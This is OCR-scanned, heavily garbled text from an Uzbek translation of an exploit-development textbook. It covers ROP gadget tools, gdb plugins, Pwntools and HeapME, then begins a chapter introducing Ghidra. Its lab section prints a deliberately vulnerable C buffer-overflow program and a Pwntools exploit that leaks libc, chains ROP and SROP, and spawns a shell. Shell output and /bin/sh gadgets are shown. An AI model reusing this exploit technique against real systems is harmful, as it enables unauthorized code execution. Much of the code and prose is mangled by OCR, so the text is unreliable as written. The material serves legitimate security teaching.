mavjud bo‘lgan one_gadget vositasidan foydalanish mumkin (gem install one_

gadget). Ushbu vosita one_gadgets va ularing chekloviarini topish uchun belgili
bajarishdan foydalanadi.

Ushbu loyiha GitHub’da mavjud. Unj o' matish
one_gadget buyrug‘idan foydalaniladi.

One_gadgets 'ni avtomatik ravishda topish uchun kerakli kutubxonani ko'r-
satgan holda vositani ishga tushiriladi, masalan:

uchun sudo gem install

Eﬁmﬁ kalij-[~/GHHv6/ch03]

3 one_gadget Nib/x86 64-linux-gnulibe. so.6
lixchdla execvef"/bin/sh* r12, riid
constramts:
fri2] NULL || r12 == NULL
[r13] == NULL || r13 == NULL
lxchdld execve("/bin/sh” r}2
CONSIraings:
[ri2] == NULL || r12 == NULL
[rdx] == NULL || rdx == NULL
fheebd20) execve! "/ hin/sh”, rsi, rev)
CORSIFainis;
[rsif == NULL || rsi == NULL
fradx] == NULL || rdx == NULL

, rdy)

Lahuratnri}'a ishi 3.10: g
- - = . x “
Ropper — bu ROP zanjirlarini yaratish vq kodni
gan gadjetlarni aniqlash uchun samarali vosita hjs
& ey B & bl 1
ikkilik fayl _t‘nnnatlarml yuklay oladi va Capsmn{:: dil:dl' U [-EL.F‘ PE va Mact-O
gan holda bir nechta arxitekturalarni (x86, x86 64 M[Pé} n,::'] . fu}{dalﬂl;’
ARJ:#M, PuwchC‘va Sparc) qn‘llabquwalla;di_ Ro .o ”:..364'. i
apt install ropper’dan foydalaniladi. PPemi o*matish uchun sudo
Uning eng yaxshi Xususiyatlaridan i
. - - - - an bin
asusfida gadjetlarni qidirish qobiliyatidir. Imi;j:fkluwar va fay)
yoqish uchun mprotect()'nj chaqiradigan ROP E';n.l? :

E{kaﬁ kali)-[~/GH Hvéiehnz ]
5 rapper —file hello —chain '
Profect ﬂddm!sﬁ
Urdendba,ﬁ i
¢ 5iz

Pper
Yayta ishlalishga mo‘ljallan-

; formati shartlari
zilda bajariladigan ruxsatn!

e=lx1000’

y -

Natijada Python kodining bir gismi yaratilad:

l'ti'f]

# Filled registers: rdi. rsi,

rop < rehase Oix000000000M ‘
I | by 230 rsi; pop ri3; rer:

i m;hFH‘IJrr:f::":T:;::r:r:mnmrmuf:_i'h # mummm;rmmrmm 39 pap P

rap = pehase 40y

rop = prOx (000000000001 000)

rop 4 e ”.‘-.'ufcma‘h-thuudhn{ﬂ

\0123b) & (x000000000000123b: pop rdi: ret:

i ¢ ko*rsatkichini 16 baytga
RIS va RDI registrlarini yopishdan (!‘?Ch'lgi.rirdkall:?';;; foydalanish mum-
u-shirudigun smdj-.:m‘i topish uchun scman!:tkilli s 118 el Ushin sususi.
Kin: ropper :-ﬁle -:hinary-ﬁle}--seman_tlk rsp hii‘asi;iaﬂi W
yatdan foydalanish uchun loyihaning GitHub sa g

: ‘p vagt va kuchni tejaydi
Gilgan holda pyvex va z3 ni n‘ma"?hil}glz 'keraﬂl‘{trisﬂhl;{;f‘:aﬂirilgan dasturlash-
¥4 boshga ko*plab giziqarli xusustyatsrt = ishgacha olib keladi. Rop-
dan ﬁﬂ::i ;‘.I'u[:l‘:-lzi kfl’l:‘i:z"“m“‘i“g ~J0P) SIEL:LH Hzt}f’:z:’:ﬁﬁnﬂ GitHub sahifasi-
Per va unIi]mz funksiyalari haqida ko*proq ma’lum B

da mayjug.

" *ni kengaytirish _
Python }'“rdamldaifgin? q0*|1a]_-,-quwaﬂasln gdb versiva

gdb dasturining Python biia? 1-;:'!;}; _with-python konfiguratsiya opsiyasi
7-da joriv eti cususiyat 134
y etilgan. Bu x

: ‘ladi.
. 1 sina mavjud bo oy "
. ; . A qqdirdagina m g vazifalarmi avto-
'lan kompilyatsiya qll'ng? i;:f ar yaratish va turli
Ushbu xususiyat tufaylimaxs

us funksiyal adrovka jarayonini soddalashtirish
Matlashtirish imkonivatidan tashgari: dﬁk.mSL'aishlah chigilmoqda. Bu plaginlar
v boyitich g bir gator gdb plaginlart SED S b yigtish kabi
= ROV aqgsadida N
o nlagllgl;;: ;:Ej:’:'?f’ ko' rinishi, ma Jumot

lar yoki ?eqllar qatorida Use-After-Free
Un di. Boshga kuchli xususiy?
MKsiyalami taqdim etadi. BO*
‘UAF) mi avtomatik aniqlas .

iptlaridan ba‘zila_ri:
ﬁfbﬁsﬁfcskﬂri muhandislar uchun ken-
ilari v
. Gef GDB eksploit ishlab
8aytirilgan Xususiyatlar.

i1 2 Pwndbg GDB Made E2SY

tkdan foydalaning. ki Exploit De

3. PEDA GDB uchun Pyt leﬂimi rivojlantirish kutubxonasi
jvae

ceod i, bu
rki ploitni qurish kutubxonasi, t
Pwntools CTF Framj::"-' ! CTF) w:] *ettj]:ub‘iﬂﬂﬂ- Bu umumiy eksploit-
P'.rnmo.".y — bu capturé a yaxs ! )

i : : jaydi, eksploit man-
f un JUas J= arajada tejaydi, eksple
“%sploitlarnj tez prototiplash uch sezilarli dard] s erimsivitiaming keng

p ‘ﬁ}yda

u P
2°h vazifalarini yozishda V4 N i huningdek
Igﬁtiga e'tibor qaratish imkoni™!
? Plamin; taqdim etadi.

Jamida ishlab chigish va teskari muhandis-
i
yorda

velopment Assistance.



s Al

Pwntools'ni o*rmatish uchun quyidagi buyruglar bajariladi:

tkali kalil-|~]
E; suo api-get update
L—$ sudo api-get install pythan3 pyvthon3-pip python 3-dey £2ir libssi-cev
libffi-dev build-essential
L8 sudo pyvthon3 -m pip install ==lipgrade pip
L8 sudo python3 -m Pip install —upgrade pwniools

Xususiyatlarning qisqacha tavsifi

Python terminal ochiladi, pwn modulj import gilinadi va Pwntools'ning ba'zi
Xususiyatlari o‘rganiladi:

E—.rkah' kalij-[~/GHHv6/ch3)
S pvthon3

=22 from pwn impore *

#Packing and Unpacking strin 25

=== p&il)

Bl

=== pi2(ixdeadbeef)

b"xef xbe xad xde'

=== pbd(Uxdeadbeefdeadbeef, endian- hig"
b* xde xad xbe xefixde xad xhe xef

=22 hextubdi" xef vhe \xad xde weflebe xad oo "1
xdeadbeefdeadbeef

#Assemble and Disassemble code

=== asm(‘nop')

b x90

=== print(disasm(h’x8b\x45 \vfe)

fi: 86 45 fc mov ear., DWORD PTR [ebp-Ov4 ]
RELF symbol resolver

=== ELF1ibix8e Od-limux-gnu/libe. so ")
[*] Nibx86_64-linux-gnulibe 50,6

Arch: amdb4-64-linle

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: PIE enabled

86 }

Laboratoriya ishi 3.11: Ieak—h::lfl.:di‘
i il bo* cod tuzatiladi:
Dastlab bufer to'lib ketishiga moyil bo*lgan kod

leak-hof ¢
Hinctude <sidio h=
Binclude <unistd =
vaied vinlii) |
char H!H_',*.-ff.’:a'i}'_ P
printfi “Overflows with 128 bytes: ")
filishestadon;
reaedri, Bt (e 200000,
l‘ F
nt merinting arge, char **argv) {
Pringfi "'m leaking printf: ®opn- {
vielniy:

{
i

fong jprintf):

csploit i hi-
; i ushbu eksploit ishga tus
Keyinbpwarools yordamida python'da yozilgan
cymbpwntools :

riladi-

# use bin env prthon3
Jrom pywn import * "
context updaretarch="amd6 [
libe = ELF(" usr1ib x86_64- ;
s P | ; alenlate
f ff”"’" g .-.‘hfi‘:i'::;{ 1: leak printf and calt
O8.progress("Sge \ 5 il
P-readuneile“'m leaking | "_"'”#' 16) - libe.sym{ P! intf]
libe.address :'alffp.n':uﬂﬁ't'l':’.'_']
-".'n'l'u'-:‘l.'.'..k'lff"I’.!trrﬁh:' aildress:Xi P+ SR
"op = ROPtlibe) shell with RO
log progresst"Stage 2: pop 4~ wret']).address)
. o S ' X
op. rawiro . find gadgell [ ,qu':; '::””
rop.rawfconstants. SYS_rt ‘k:&‘
"Op.rav(rop.syscall.address
¥ build SROP frame
Srame Sigreturnkrame(
Jrame. rax = :-:m.m.'uf.‘r"slHiffh-r:hh
Frame.pdi - pexiflibe.seart
Trame pgi = g
Srame rdy =)
bl 158
..Irrﬂfﬂ['.ﬁ:.n "ﬂﬂ--‘l"ﬁ"ﬂﬂ'mﬁ{;:md —_ brff-'if.lﬁw"f’”
# send stack smash ‘""“fﬂrj& ¥ ruP-dmm(
P-sendlinegfier(”: ", b"1
Yiceess('Enjoy!’)
P.interactive()

i i
a5 = Tinnex )}

=i libe-2.31.50 |

Jlihe's base fdress™)

or pavioad’)

w arely="amd64")
Fernel= namedG4 " At i
Jr
Ve .
pe ysh™)




Bu holatda kichikrog va soddaroq eksploitlardan foydalanish mumkin, lekin

imkoniyatlarni namoyish etish magsadida ataylab biroz murakkabroq cksploit tan-
landi. Natija:

E—r.h.rﬁ kali)-{~/GHHv6/ch03]
S pvthon3 leak-bof-exploir. py
[*] “usrAibix86 64-linux-gnudibe-2.31 50"
Arch: amd64-64-linle
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
=] Starting local process “Heak-bof*: pid 3901
{+] Stage |: leak printf and calculate libe's base address - Ox 711 204489000
[*] Loading gadgers Sfor “usrlibix86 G4-linix-gny libe-2 31 st
['] Stage 2: pop a shell with ROP + SROP pavioad: Enjoy!
[*] Switching 1o interactive mode o
5 id

wid=1000kali) gid=1000¢kali) groups=1000fkali) .'.'wm’mm,a.Hrﬂup,r:r.l 27 sucler)

HeapME (Heap Made Easy) tahij] v, hamkorlik vositasi

1 He:?.rp Made E:‘a.r_l.-* (Heap ME)- by Huaskar Tevedy (ushbu bob muall; fi) tomo-
nidan yig‘ma tahlil va hamkorlik jarayonin; soddalashtirish uchyn ishlab chigilgan
ochiq manbali vosita. Quyida Heap ME xususiya{larining ro‘yxati: : i
* Vaqtinchalik nosozliklarni tuzatish: o
* Barcha chunks/free qutilar holatini kuzatish:
* Uzluksiz tahlil:
: Ee_qulfluthl::}: uchun va Vizualizatsiya uchyp umumiy havola:

* Joriy versiyada ptmalloc2'ni qu‘llah-quwatlash.

HeapME Vositasinij 0°rnatish

nup;n*rishdan oldin, gdb va 0°zgartirilgan Gef fork 'ni
matish va suxiﬁashdan boshlanadi. Agar gdb o*rnatilma-
» i sudo apt instal) gqyy Yordamida o*rnatish mumkin.

HeapMEnj ishlayotga
HeapME plagini bilan o
gan bo'lsa (dpkg -] gdb)

E—f#m’:’ kali)-{~]
S git clone https: githud com/htej
: : : cjeda/gef wit
Pfi instafl -r Befirequirements. pyy dd Er
echa “source ~'gefigef py\n: ’ ] !
e j-af;:;_f__j f pv\nsource «Jgeﬁ’scnprsﬂreupme_ Y = </ gdbinip
ES gdb

GNU gdb tDebian 10.1-1.71 10.1.90. 20210103-git

2ef> felp heapme
Heap Made Easy:

' 7 i king dvnamic
lrﬂ'ﬂlﬂﬂi';' T et o e Fft'{fﬂjh' L er- ﬂ"‘i h"b"” frene 4

heap allocation ;
heapme pusi - Uploads all events 1o a:h;
heapme wateh - Updates the heap Ia.m::i.r v
Tipe “help J'u-uprm’"_.ﬁrﬁ:ml‘if by heapme 5

Lref>

HeapME URL —
ren this breakpoint |
“F{T‘r::w::nnn.’ name for full documentation.

jva ishi 3.12: heapme‘demu.t_: Ly
e 3atil:ui!i va kompilyatsiya gilinadi:

At mi yar
Boshlash uchun quyidagi dasturni }

h{’ﬂﬂ‘“‘i(’ deto, e
finclude < sidio,h>
finelugde < sedlib =
finelude - ~string b=
¥inelude <unistd >
Verid *x[5]:
I maing) |
Jor fing j-0:j < 8 i++11
Xt~ mallociin3S). o
J'F‘h‘m,vrf{_rlllr;"fl i+ (3, (e 38):

§
¥

Jor ting ¢ fhi<8 i+¥d
ﬁ'i.‘t‘f.‘l.‘f;‘f;_-

.ll'.hi‘:'urﬁ.ngm “Press CTRL-
,i'J.:m.rur,a,

Clury ():

A to exit. ")

6 ch03] |
) hmpmu_:ﬁ.-nu

tkali kali)-|~ GHI

8 gee heapme demo.c -0 pun quyidagi amallar bajariladi
c

. ko'rish U
Keyin, HeapMEni i.-shla}‘qlga;nnu el
q"yidagi kodga havolalar ﬂ?ﬁ?{;ﬁkadrﬂ"kﬂ gilish
l. he 10 dasturint 25 sy shirish.
. Capme_den otini bajaris . ini @ ishgd t-umf
- 8db start @ buyrug is-helper plag me.f2tc.co )

un gdb dan foydalanish @.

i c
3. G“f“ning hcﬂp-amﬂ}’h ih [hupsn"ﬂ'lﬁ' p '
4. HeapME veb-saytiga © imga kirish. ya nusxa olish.
A. Ro‘yxatdan o*tish va %! i ; i

b, Yangi HeapME URL V2
C. N

- Nusxa olingandan s0 "'&* c
89

i raratls
kaliti y -

H'N ex t“’ 1 E




5. gdb’ga gaytish v
toriga joylashtirish.

6. To*xtatish nuqualari bosilganda
ma’lumotlami yangilash uchun heapm
dan foydalaniladi.

7. ¢ bajariladi yoki davom ettiriladi
URL manzilini ko‘rish kerak (3.2-rasm).
ruglari bilan ishlash uchun yaxshi
va boshqalar).

a heapme init https://heapme.f2te.com/<id><key>0 qa-

barcha yig'ma va bo'sh qutilar haqidagi
e watch malloe® v heapme watchfree®

©. Joriy vaquda yangilangan HeapME
: Bu, shuningdek, Gefning yig*ma buy-
imkoniyatdir (yig'ma qutilar, yig'ma gismlar

tkali kali)-{~/GHHv6/cho3 |
S @ gdb heapme demo
gef> @ siary
gef> @ heap -analysis-helper

gef> € heapne init hitps:heapme. Ste.com/ 6028 lal0e8b48500 1 3055 b5
17074900, g

[ =] HeapME: connected 1o hitps:,
gef> @ heapme waich malloe

Breakpoint | ar Ox7fffi7e7alftl: malloe (X locationy)
{+] HeapMe wifl update the heap ehunks whe
gef> @ heapme watch free
Breakpoim 2 ar Ox T e?ar 2 Jree. (2 locations J
[ =] HeapMe will update the heap chunks when

gef> @ continue

Continuing.
[~ ] Heap-Analysis -

f ".’mup:m-.f}n-.mnr-

1 the mallope breakpoint iy hir

the free breakpoing i his

__libe_malloc(sg) (x5555555592

el
Press CTRL+C 1o exir

I
T

L] o
. % samnarpriiaan
et
i L
pe———

LU ; ‘I: s
-=rasim 1C¢C .J ‘ni I 1‘ .fﬂl‘"“ﬂ na

] a“. -t jL & & et :-

) =

ot

DT I
: o SRR
L i

Xulosh i darajada yaxshilaydigan foy-
SeZ

i il jarayonini ; ida disk raskadrovka

Ushbu bobda dinamik mhlIIlfili]IrS::t:un.in.jr ek, gd!n.iﬁ:ﬁl?';a gilindi. Pwntools

; matlashlirish usuﬂ““il ,an eksploitga ega zaif kon-

'!ai:uylmini kengaytirish va a‘:;;a“ib python'da Y0Z IﬁcﬂpME (Heap Made Easy)
Shlab chigish tizimidan foy ‘ _

il : o'rib chigildi- higildi.
“PSiyani ishotlovehi kod ko l‘l'rlsi o‘rganib chiql
}r L

“ . i i1 viOs!
'8'ma tahlil va bog'lovehi

al: L . + ‘{i
“ali vositalar ro*yxati tagdim €

ichi Chﬂ mi e dl‘
Qo shim ; elffelf.p ‘ linedocs/adb/
 efspecs INUXDASECE o fadb/current/onlinedocs/g
ELF Specification r"lh];:y[hnn sourcew
Extending GDB Using
Ython, him|

;.com
Pwntools docs.pwntools:€ otlar _
ools docs.p Janilgan adahi.'t;ummﬁ Europe. 2018, https://
Foydald! Open Sﬂumedsﬂﬂ 17/12/Modern-Strace-
strace t/uplod
L. Dmitry Levin, “Modem™ ™ ' onten

ks .D]- W
SVeng 9.linuxfoundation-0&
Dm'

“W-Levin-BaSEf"'kLT'Pdf < 01




! ::ii;tl{;scc, h[tp:f{gilhubicumfslimmﬁﬂga’checkqeu sh
; Iibc‘d::zﬁzm Gll;riuh, htIPS?”gi!hub‘l:mﬁfnikiasli:l :
A - se web wrapper, https:/libe.bluk
. patchelf, https://github.com/N ix{}SFpal.cI:z :\I?me.
A Ene_gadge}lz I'.tups:ffgithuh.cﬂmefdavid‘}ﬂj 1
. Capstone: The Ultimate Disas
| sembl W
g. Ropper, hllps:#g1lhuh,cnma"5a5hsfﬂ:r' | priaS-engine.or.
: EJG:FT- hups:ffgcI‘.readlhedncs.iofcnfmalli::r}
”- Pgndhg‘ https:/github.com/pwndbg/ :
13‘ . I]A{dhups:Hgithub.cnmﬂnngldfpcdz .
. Hea :
13, HeapME ﬁcﬁzk{ FI::{ ph;rlrEJ" e heapme.(tc.comy
3 s://gi : i :
hub.com/pwndbg/pwndbg, ps:/igithub.com/htejeda/gef. 10, Pwndbg, hitps://git
11. PEDA, https://github.com/lon S
12. Heap Made Easy (He
13. HeapME Gef fork, ht

ibc-database.

e = SR F R CRR PR

/one_gadget.

apME) }L}%ldfpcdai
), https://heapme.2ic.c
tps://github.com r’htz_j L;ﬂf; l:;. om/.

1-BOB. “GHIDRA”™ VOSITASIGA KIRISH

Ushbu bobda quyidagi mavzular yoritiladi
hirish, shuningdek, loyihani oson

* Ghidra'ni o‘rnatish va tezkor ishga us
sozlash,

* Gidra'ning eng muhim xususiyatlarini

* Teskari kodni o*qish va tushunishni yax

* IKkilik farglash va yamoq patch (patch) !

ko*rib chigish.
shilash uchun izohlar.
ghlilining amaliy qo* llanmasi.

_ Ghidra — Milliy xavfsizlik qeentligl tadqiqgot idorasi tomonidan kiberxavfsiz-
|I!'2 missivasini qn.”ah_qm.mllagl1 uchun ishlab chigilgan va f]o‘llﬂb—quxf\=atlana-
dlg;-,n dastuiiv 18’ minot teskari muhaﬂdiﬁiik (SRE) "lr’l‘.'fsit::llﬂn [u~plamld.lr. Gl.lid-
i Zm[}‘}’ilni;‘uu mart-aprel ovlarida ochiq manba sifatida -::-mm_aga qu'm,m]d?’
dmmg y Illlaquhc}mn shaxsiy j-ungm‘ an. U zararli dasturlami tahlil

. ar sinovdan 0’18
1l - : "
Qilish, zaifliklarni u‘rguﬂlﬁh. eksleﬂam

i ishlab chigish, shuningdek, o‘rnatil-
8an tizimlar va ichki dasturlaming boshqa ko'plab reskari muhandislik vazi falari
[§] X D =

Chun ishlatilishi mumkin.

"-':ul;fjl:li.dr“ kﬂ‘r_ﬂnb :_eriu:k!u
am-? Igu“}llxlqmll xusus;y‘allar

ns!: amiyati tez suratlar bilan

qa ajoyib yositalar uchun b

ralar, pialt‘nnﬂalar va ikkilik formatlarni qu‘tléb-qm—-

o*plamini taqdim etadi. Bunrdan tashqari, uning
o'sib bormogda chunki Gh]dra IDA Pn_:n kabi
pul va ochiq manbali alternativaga aylandi.

j yaratish ‘ .
: . o Kksionalligini namoyish etish
Ushh gty xususiyatlan ¥ fun :
shbu bobda Ghidraning XU i tur o*quvchilar baho-
hun mos namunaviy dastur wzila I Shl?uinanﬂl.?u?d‘;{r: E:lsmaii;.r'::'ahtlil vazii'zla[:i
INi boshqarish vositasi bo'lib, CSV faylini yuklay ¢
ue _‘. ‘l sh vOsila: .‘
hun zaiflikni o'z ichiga oladi:
san "?‘EHT siz avval Grey Hat He
{pagl?-- student.c, student-patched-¢
p;“ )da mavjud bo*ladi.
ly asturning ikkita versiyd
4Siya gilish uchun fermind

orini klonlagan bo‘l-

jition Git omb
Jpiet _/GHHV6/ch04 jildi

Ling OF .
Mf r.e’-’a student.csV fayllart

- tilgan versiya) kom-
. 1 i ctandart versiya V8 WD

st I:ZI:EE;:I;U},MHQ b“ynmlaf bﬂ_}ﬂﬂlﬂdlf

0

(kali kali)-f~GHH w6ichl4]
S gee students.c -0 shudents s
’ e = ps-patchee
5 Bee ~'~'l'm-r'(."iI.F.f-;lfm.'ﬁ&'i-']-" =0 _\'mcftﬂ'l’.\‘ _fm + ' ‘
_ylar bilan ishlash va Ghidra

}rarmish mumkin.

: ‘{gani uchun
En_di magqsadli dasturlar “‘,a‘f"lufj anish uchun lo
Oniyatlari va funksionalligi™ ° 8

imk yiha




O‘rnatish va tezkor ishga tushirish

Standart Kali tizimida Ghidra uchun Java 1 ishga tshirgichni o*rnatishdan
boshlaylik:

I:-I’-f{c.'ﬁ kali)-f~]
5

suda apt-get update && sudo api-get install -y openjk- | | ek
Keyin ghidra rasmiy veb-savtidan Ghidra release v9.2 3 pakeriy i vuklab olinadi thips: . ghid-
ra-sre.ongl va n wy kompyviterida ochiladi:
S unzip ghidra 9.2.3 PUBLIC 20210325 zip -d -
O'raatish tugallangach, ghidra 923 p
ghidraRun vordamida ish e fusihiriledi
L5 cd - ghidra 9.2.3 PUBLIC &d& ehidraRun

UBLIC .fmmfru:.‘:.,ru 0'tih, quvida ko raatilgandek

Bu Ghidra’ni birinchi marta

ishga tushirishga imkon be
nuvchi (end-user) shartnomasin;

: radi va oxirgi foydala-
ko'rib chigishni so*rayd;.

Loyihaning ish maydonini sozlash

Ghidra'ni ishga tushirganda duch keladigan birinchi

va “Kunning maslahati” qalqib chiquveh; oynasi

tekshirishni tavsiya etamiz), Loyiha oynasinj ko
chi oynani (pop-up) yopish mumkin.

Loyiha oynasida loyihalarni, ish Jovini va vositalarni boshqarish mumkin.

Standartga ko‘ra, Ghidra kod Brauzeri va versiyani kuzatish vositalari bilan birga

EEIE}I&]&'Bﬂh O T (Debugger) vositasini 0"ratish hagida ma’lumot
Criladi,

narsa bu Loyiha oynasi
(POp-up) (buni vaqti-vaqti bilan
rish uchun ushhby, galgib chiquv-

. Funksionallik haqgida umum;
Ghidra ko*plab Xususiyatlar v funksionallikn;
faqat eng asosiy va I'uydalilariga e’tibor qaratiladi.

Y ma’lumot
taklif qilsa-da. soddalik uchun

- o Loyiha oynas;i

Oy1ha oynasi — bu Ghidra yuklab olingandan so‘n ' i

: oyn: . . € mavjud bo‘lgan asosiy
oyna; u loyihani boshqarish funksiyalari, fao loyiha magsadij ‘Il‘a lari xfr:a ish joyi-
ning umumiy ta’rifini taqdim etad; ’ -

Keling, loyihamizni yaratamiz va gyyg|

lashni boshlaymiz Agar hali Ghidra'p; ; i

ni iz. Ag W ishga tushirmae ‘Isangiz, uni ishga

tushiring va keyin quyidagi amallar; bajariﬁg: e
I. Fayl | yaratish yoki Ctr]

Ushbu loyihani shaxsiy (ya’ i,

tuzilgan magqgsadli fayllar bilan ish-

ST ELF x86:-
quyida ko*rsatileanidek fayl formati va binar tilini aniglaydi (bu holda .
uyida ko'rsatilg: 3

LE:64:default:gec bilan tuzilgan).

]
Toal Chest
Active Project: g
- w|
g Farmat {ELEI _J
Eapcuiable andnang FOFRE 170
Format (B -
FaaT i -
Langagt e
Custnatich Faider
Dy
]
Program N [ b =
Filler - angel
— OF oo AR
| Trom view [ Tanid —
workspase —
Running Taol Bt
e [+
= e — B
- ; 4 0 I
; purige Uil
Finnhad cathe cheanup, estimated §
==

IR iga ega im-
a fayl sarlavhas! xususivatlariga eg

r stadata va 1y " =0

sing. Me ko rsatiladi.

3. OK tugmasini bo St

‘ talabalar magsadli
o . . = nazm AR lHSh l,ll:hun
Port natijalarining qisqacha :ughiriﬁ-h va tahlilni bosh
4. Kod brauzerini ishga Vs
ayliga ikki marta bosing- |
Tabill ajarilmagan bo‘lsa, uni

g, agar v hali b

bilano

G Jlishi
Ghidra dasturni }'“L?ab o
ahlil ilishni taklif qiladi:

t now?
4. would you like to analyze |
alyzed.
aan an

(xes) |

ot b
9 students has 1




Analizator juda ko'p vazifalari baj
yerda ko‘rsatilgan va quyida tavsiflangan:

aradi, ammo eng ko*zga ko'ringanlari bu

(1) Foydalanuvehi kodini
dis Assem blerlash

(vangi kod)  -—

v

(2) Funksiva analizatori

(yangi funksiya)

(3) Stack analizatori

v

(4) Operand analizator

¥

(5) Ma'lumotiar havolasi angal izator

Funksiya analizatori (Function A
kod disassembleridagi fi unksiyalar prologlari
siyalar manzillari va nomlarini layinlaydj.

Stack analizatori (Stack Analyzer) Stack O'zgaruvchilarining o* lcham larini
:;iu}::ﬁ?a?d? yozuvlar bazasini va funksiya boshidagj ko'rsatgich operatsiyala-

Operand analizatori (Ope
va belgilar havolalarinj tayinlay

Ma’lumotlar havolasi anga
tira va operandlar bo*limidagi
ma’lumotlar turlariga manzi||

nalyzer) belgilar havolalari asosida yoki

va epiloglarini aniglash orqali funk-

rand Analyzer
di va hal qiladi.
lizatori (Data
jﬂ}'lashuviga qa

Iskaler operandlar asosida manzil

Reference Analyzer) koddagi xo-
rab ma’lumotlar qiymatlari va aniq

intuitiv foydalanuvchi
Ghidra bilan ishlashga
un menyu va asboblar
rsatilgan va quyida tavsiflangan:

" - —

.F - hl.i. men da
l -‘L ‘ii"r menyu [m:]lﬂ I'l’l:i'nT.l} Bﬂ.rCha as5051 pﬂmmEITial uSI! }I"u
L Su.. i o

mauzl‘ld“;“b“m“r paneli (toolbar) bu yer d‘f:} I{Tirg::lgilar tasv
uchun yorliq sifatida foydalanish mumkin bo*lg
guruhini topa olasiz.

3. Dastur daraxtlari (program free’ =
cha xotira segmentlarining ridaraxl ro‘yxatini . r
R e e Zg}lmdl' bol tree). Bu yerda xamliklami %dﬂbugig'mgif ::::rr?a

& B“mﬂ,ar isiag lﬁﬂ:—.mlar yoki dastlabki tahlil nrq:l:; ll;al :]hlc?‘%inadi: o
ii'fﬂfﬁf?ﬁﬂl’:ﬂ"ﬁiﬁ II:‘;raI-:at gilish muﬁki:;“?; ::EEL. L
pnr‘l?‘ gkﬁp“r}‘ funksiyalar, teglar, sinflar van

T“ulg Window I il.'l].“o _Il

funksiyalarga tezkor kirish
irlangan tugmalar

ikkili ' ilangan bar-
ikkilik tomonidan I?n?!gt 2 .
e bulaqdim etadi va ikkilik formatga va

=
e 1 -.".ﬂ;fh

T . Lavigation 2
File Edit Analysis Graph NaVis -

Selet

Program M
-_-_-——____

Symbaol Tree o
-_-_‘—-—_—.

J
e

Data Type __——ﬁ
T ——

Console - Scripting o

L] = - /] ¥ Jb’
. i 1

da o‘rnatilgan,
anager). Bu yer - ,

nejeri (Data T}'p'l-? Ml::rlii mavjud bo‘ladi. Ma’lu-

i me \ af ) :

5. Ma’lumotlar turl nhlir“mm ma’lumot botyicha operatsiyalarga osongi-
UMumiy, jkkilik va moslas allhaf va havolalar

fym

Motlar turiga asoslangan 4ty

"4 0'tish mumkin. o
6. Ro‘yxatlash (Listing”
r AP t

A bu yerda keltirilgan. Dast ra yuklagichi V&
Bing 0'rganish mumkin. Gh

’ havola-
) . itich vama Iumullargz% _
ur kodin! tallﬂil ;]::Il_;l va manzil ofsetlarini oson-
erda ko‘rsatiladi. ,
4 ro‘yxatlash (listing) oyna-

1 ada :
Maxsus sharhlar va num]ﬂ“g:;)q ile). Ushbu o0 iladi. Bunday dekompil-
wr Dekumpili:ts_‘z i‘n . C tilidagi k0
4 lanlangan funksiy




yatsiya katta va murakkab bloklarni
lashtiradi.

8. Konsol — skriptlar (Console —
ning natijalari ko'rsatilgan.
_ Agar dastur daraxtlari (program trees) bo‘limiga o'tilsa va matn (1ext) X0-
tirasi segmentiga 1kk] marta bosilsa, Listing oynasi dasturning l;a'ariia{:ﬁu.'ln i.;u-
d:m_ng hush[ga o'tadi va oldingi tahlildan olingan qayta nomlar -.,rja izol fl bilan
bnymtgan‘ qismlarga ajratish kodini taqdim etadi.Shuningdek, u k dm?] ],ﬂrr_ o
va tushunish uchun intuitiv ma’lumotlarni o'z ichiga oladi m‘aljala{:-. I:;jn:ki;;:h

ko*rsatmal '
nalar b.aytkul:ll. _sharhlangan ma’lumotlar operandlari. (e slar, shartli tar-
moq oqimi ma’lumotlari va o*zaro havolalar s

yig'ish kodini tahlil qilish jarayonini oson-

Seripting). Bu yerda skriptlar va plaginlar-

quydagini bosing:

Y& Esports

* § LoadStudents
S Functions

LoadStudents

ko*rinishini (disassembled program code) tagdim et :dl'ur kodining kengaytirilgan
cladi:

. Listing asboblar paneli nusxalash va joylashtirish funksiyalariga tezkor ki-
rish, asboblar panelini oldindan ko‘rish, ro*yxat maydoni muharriri, dasturlarni
tagqoslash uchun diff ko*rinishi, tezkor tasvirlar va maydon ekranini almashtirish
imkoniyatlarini taqdim etadi. Standart ro*yxat tartibini sozlash uchun asboblar pa-
nelidagi *Ro*yxat maydonlarini tahrirlash’ tugmasini bosishingiz mumkin.

2. Sharhlar ishingizni kuzatishni osonlashtiradi. Ular Ba’zan turli xil belgilar
va operand qiymatlari uchun tahlil gilish orqali taqdim etiladi, lekin siz 0*zingizni-
kini bosish orqali qo*shishingiz mumkin; (nugta vergul) ;fnki }anlunglan manzi‘Ini
sichqonchaning o*ng tugmasi bilan bosib, sharhlar galgib chiquvchi menyusiga
0'ting.

JE, Ogim ko‘rsatkichlari (flow arrows) shartli va shartsiz o'tish joylarini ko‘r-
satadi. .

4. O*zaro havolalar (Cross-reference links) daslurd% q1_~,rmaﬂart ':.la?"er,da ﬂ‘gi-
lishi va yozilishi, funksiyalar qayerda chagirilishi ;_mlu _ha'::ola qilinishi I:""_‘q‘dﬁf
ma’lumot beradi.Ushbu havolalarni ikki marta bosish sizmi havola ma_n;:ildagl
ro‘yxat (Listing)ni ko‘rish imkonini thdi. C'I‘_RI:-S!-IIFT-F l}lgmalanm bosib
istalgan manzil yoki belgiga havolalarni hfm? topishingiz mu‘mkm.

5. Xotira manzili (memory address) Listing ﬂl}fHHSIIE]a ko rean I}ar qand?}a .1.;.,;“1
yoki giymatga mutlag ragamli havul:lmi kf}‘rsatad;: Ochiq fayldagi istalgan ixtiyo-

i zilga G i bosib o*tishingiz mumkin.
" ";ﬂf]'}f;;b:i;:l:i;ﬂ; :Jn}:t:;]]s;nriy ko‘rsitmaning o'n oltilik (hexadecimal) ikkilik
(binary)fodasidir.

7. Tahlil kodi (Disas

ularning mnemonikalari va ope

sembly code) — bu tahlil qilingan va tahliliy ko*rsatmalar,
randlari joylashgan joy.CTRL;SHlFT-G nigmala-
‘aming W  1o*a*irlashingiz va o‘zgartirishingiz mumkin.
" E“HEil:ml;?ymLt:efj t:::tatﬂa:::f?cﬁf Legend yon panellari ikkilik dism:r-:v.iya va
entropiya kulrang shkalasini kodlash v A Bfﬁh‘:fﬂnm#gmga?hw T‘E-m:
la, “Ko‘rsatma”, “Ma’lumotlar” va “Aniglanmagan” (Function, Uninitalized,
